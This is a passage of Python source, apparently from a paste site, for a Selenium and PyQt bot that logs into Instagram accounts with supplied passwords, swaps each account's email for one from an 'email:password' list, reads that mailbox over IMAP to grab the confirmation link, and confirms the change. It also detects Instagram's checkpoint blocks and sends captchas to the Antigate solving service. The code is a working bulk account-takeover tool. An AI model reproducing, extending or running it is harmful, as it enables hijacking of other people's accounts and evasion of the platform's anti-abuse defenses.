- (By.XPATH, "//button[contains(text(),'Log in')]")))
- except Exception as e:
- traceback.print_exc()
- self.driver.save_screenshot("test9.png")
- self.log_message.emit("Неполадки с соединением, нет связи.")
- self.driver.quit()
- self.exitsignal.emit()
- self.driver.find_element(By.XPATH,
- "//input[@placeholder='Username']").clear()
- self.driver.find_element(By.XPATH,
- "//input[@placeholder='Username']").send_keys(
- username)
- self.driver.find_element(By.XPATH,
- "//input[@placeholder='Password']").clear()
- self.driver.find_element(By.XPATH,
- "//input[@placeholder='Password']").send_keys(
- newpassword)
- print(newpassword)
- self.driver.find_element_by_xpath(
- "//button[contains(text(),'Log in')]").send_keys(Keys.ENTER)
- while True:
- try:
- self.driver.find_element_by_xpath(
- "//input[@placeholder='Search']")
- break
- except:
- pass
- try:
- self.driver.find_element(By.XPATH,
- "//input[@name='approve']").send_keys(Keys.ENTER)
- WebDriverWait(self.driver, 25).until(
- EC.visibility_of_element_located((By.XPATH,
- "//input[@name='OK']")))
- self.driver.find_element(By.XPATH,
- "//input[@name='OK']").send_keys(Keys.ENTER)
- WebDriverWait(self.driver, 25).until(
- EC.visibility_of_element_located((By.XPATH,
- "//input[@placeholder='Search']")))
- try:
- self.driver.get("https://www.instagram.com/accounts/edit/")
- except:
- pass
- break
- except:
- pass
- self.driver.save_screenshot("test3.png")
- def changer5(self, bigemail2):
- if " |" in bigemail2:
- em2 = bigemail2.split(" |")[0]
- else:
- em2 = bigemail2
- email2 = em2.split(":")[0]
- password2 = em2.split(":")[1]
- print(email2)
- print(password2)
- try:
- self.driver.get("https://www.instagram.com/accounts/edit/")
- except:
- pass
- while True:
- try:
- self.driver.find_element(
- By.XPATH, "//input[@placeholder='Search']")
- break
- except:
- pass
- try:
- self.driver.find_element(By.XPATH, "//*[@id='email']")
- break
- except:
- pass
- try:
- self.driver.find_element(By.XPATH,
- "//input[@name='approve']").send_keys(Keys.ENTER)
- WebDriverWait(self.driver, 25).until(
- EC.visibility_of_element_located((By.XPATH,
- "//input[@name='OK']")))
- self.driver.find_element(By.XPATH,
- "//input[@name='OK']").send_keys(Keys.ENTER)
- WebDriverWait(self.driver, 25).until(
- EC.visibility_of_element_located((By.XPATH,
- "//input[@placeholder='Search']")))
- try:
- self.driver.get("https://www.instagram.com/accounts/edit/")
- except:
- pass
- break
- except:
- pass
- self.driver.save_screenshot("test8.png")
- print("test8")
- try:
- self.driver.get("https://www.instagram.com/accounts/edit/")
- except:
- pass
- try:
- WebDriverWait(self.driver, 25).until(
- EC.visibility_of_element_located((By.XPATH,
- "//*[@id='email']")))
- except Exception as e:
- self.driver.save_screenshot("test6.png")
- traceback.print_exc()
- self.log_message.emit("Неполадки с соединением, нет связи.")
- self.driver.quit()
- self.exitsignal.emit()
- self.driver.find_element(By.XPATH,
- "//*[@id='email']").clear()
- self.driver.find_element(By.XPATH,
- "//*[@id='email']").send_keys(email2)
- self.driver.find_element_by_xpath(
- "//input[@type='submit']").send_keys(Keys.ENTER)
- while True:
- try:
- self.driver.find_element(By.XPATH,
- "//p[contains(text(), 'Successfully updated your profile')]")
- break
- except:
- pass
- try:
- self.driver.find_element(By.XPATH,
- "//p[@class='alert-red'][1]")
- return "Email in use#1"
- except:
- pass
- try:
- self.driver.find_element(By.XPATH, "//div[@id='checkpoint']")
- return "Block by istagram"
- except:
- pass
- self.driver.save_screenshot("test5.png")
- while True:
- host1 = email2.split("@")[1]
- with open("hosts.txt", "r") as hosts:
- hosts = hosts.readlines()
- for host in hosts:
- if host1.replace("\n", "") in host:
- print(host)
- break
- try:
- print(host.replace("\n", ""))
- print(email2.replace("\n", ""))
- print(password2.replace("\n", ""))
- mail = imaplib.IMAP4_SSL(host.replace("\n", ""))
- except:
- return "Bad host"
- try:
- mail.login(email2.replace("\n", ""), password2.replace("\n", ""))
- except:
- print("Bad auth email#2")
- return "Bad auth email#2"
- mail.select('inbox')
- try:
- status, messages = mail.search(None, '(UNSEEN)')
- except:
- return "Bad search"
- try:
- ids = messages[0]
- print(ids)
- id_list = ids.split()
- latest_email_id = id_list[-1]
- result, data = mail.fetch(latest_email_id, "(RFC822)")
- raw_email1 = data[0][1]
- raw_email = quopri.decodestring(raw_email1)
- msg = email.message_from_bytes(raw_email)
- if msg.is_multipart():
- for payload in msg.get_payload():
- mess = payload.get_payload()
- else:
- mess = msg.get_payload()
- urls = re.findall(
- 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', mess)
- assert "instagram" in urls[2]
- assert "instagram" in urls[1]
- print(urls[2])
- url = urls[2]
- mail.close()
- mail.logout()
- break
- except Exception as e:
- traceback.print_exc()
- time.sleep(1)
- try:
- self.driver.get(url)
- except:
- pass
- try:
- WebDriverWait(self.driver, 25).until(
- EC.visibility_of_element_located(
- (By.XPATH, "//p[contains(text(), 'confirmed your email')]")))
- except:
- traceback.print_exc()
- self.log_message.emit("Неполадки с соединением, нет связи.")
- self.driver.quit()
- self.exitsignal.emit()
- return "Success"
- class Antigate():
- def __init__(self, key, params={}):
- self.key = key
- self.params = params
- def capcha(self, path):
- data = {
- 'method': 'post',
- 'key': self.key
- }
- data.update(self.params)
- files = {'file': open(path, 'rb')}
- response = http.post('http://antigate.com/in.php',
- data, files=files).text
- if 'OK' in response:
- capcha_id = response.split('|')[1]
- else:
- return response
- text = self.check(capcha_id)
- return Antigate_Capcha(text, capcha_id, self.key)
- def check(self, capcha_id):
- data = {
- 'action': 'get',
- 'key': self.key,
- 'id': capcha_id
- }
- while True:
- time.sleep(1)
- response = http.post('http://antigate.com/res.php', data).text
- if 'OK' in response:
- return response.split('|')[1]
- elif 'ERROR' in response:
- return response
- def balance(self):
- data = {
- 'action': 'getbalance',
- 'key': self.key
- }
- response = http.post('http://antigate.com/res.php', data).text
- if 'ERROR' not in response:
- return float(response)
- else:
- return response
- def load(self):
- data = urllib2.urlopen('http://antigate.com/load.php').read()
- return XML(data).find("load").text
- class Antigate_Capcha():
- def __init__(self, text, capcha_id, key):
- self.text = text
- self.capcha_id = capcha_id
- self.key = key
- def __str__(self):
- return str(self.text)
- def __repr__(self):
- return self.text
- def bad(self):
- data = {
- 'action': 'reportbad',
- 'key': self.key,
- 'id': self.capcha_id
- }
- response = http.post('http://antigate.com/res.php', data).text
- if 'OK' in response:
- return True
- else:
- return response
- if __name__ == '__main__':
- try:
- os.system('taskkill /im driver.exe /f')
- except:
- pass
- app = QtGui.QApplication(sys.argv)
- app.setStyle('windowsvista')
- w = Program()
- w.show()
- app.exec_()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement